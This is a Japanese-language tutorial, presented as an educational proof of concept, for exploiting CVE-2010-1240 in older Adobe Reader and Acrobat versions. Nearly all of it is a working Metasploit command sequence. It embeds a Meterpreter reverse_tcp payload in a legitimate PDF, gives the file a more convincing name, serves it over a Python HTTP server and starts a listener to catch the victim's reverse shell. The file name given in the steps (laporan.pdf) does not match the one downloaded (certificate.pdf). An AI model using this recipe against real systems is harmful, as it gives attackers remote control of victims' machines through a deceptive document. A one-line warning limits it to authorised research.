
CVE-2010-1240を悪用してPDFファイルにMeterpreterバックドアを埋め込む方法を示す教育用の概念実証であり、許可されたセキュリティテストのためのステップバイステップのMetasploit手順を含みます。
⚠️ 教育目的および許可されたセキュリティ研究目的のみに使用してください
WindowsおよびMac OS X上のAdobe ReaderおよびAcrobat 9.3.3より前の9.x、8.2.3より前の8.xは、Launch File警告ダイアログ内の1つのテキストフィールドの内容を制限しません。これにより、リモートの攻撃者は、PDFドキュメント内で指定された任意のローカルプログラムを実行するようユーザーを騙しやすくなります。これは、Openボタンをクリックすると暗号化されたメッセージを読むことができると主張するテキストフィールドによって実証されています。

まず、msfconsoleを実行します
msfconsole
次に、PDFに埋め込むためのペイロードを設定します
use exploit/windows/fileformat/adobe_pdf_embedded_exe
INFILENAMEオプションを設定し、元のPDFファイルへの直接パスを指定します
set INFILENAME /home/kali/Downloads/certificate-foundations-of-threat-hunting-60c893e734422a67991e093c.pdf
FILENAMEオプションを設定して、新しく作成される悪意のあるPDFファイルの名前を、より説得力のある名前に変更します
set FILENAME laporan.pdf
ペイロードを見つけてPDFファイルに埋め込みます
set payload windows/meterpreter/reverse_tcp
LHOSTオプションを攻撃者のIPに設定します
set LHOST 172.16.10.10
新しいターミナルを開き、悪意のあるPDFファイルの場所に移動します
cd .msf4/local/
Pythonで一時サーバーを作成します
python -m http.server
被害者のマシンで悪意のあるPDFファイルをダウンロードします
http://172.16.10.10:8000/certificate.pdf
被害者のマシンで悪意のあるPDFファイルを実行する前に、先ほどのターミナルでリスナーを起動します
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.10.10
exploit
被害者のマシンで悪意のあるPDFファイルが実行されると、被害者のマシンへの接続が確立されます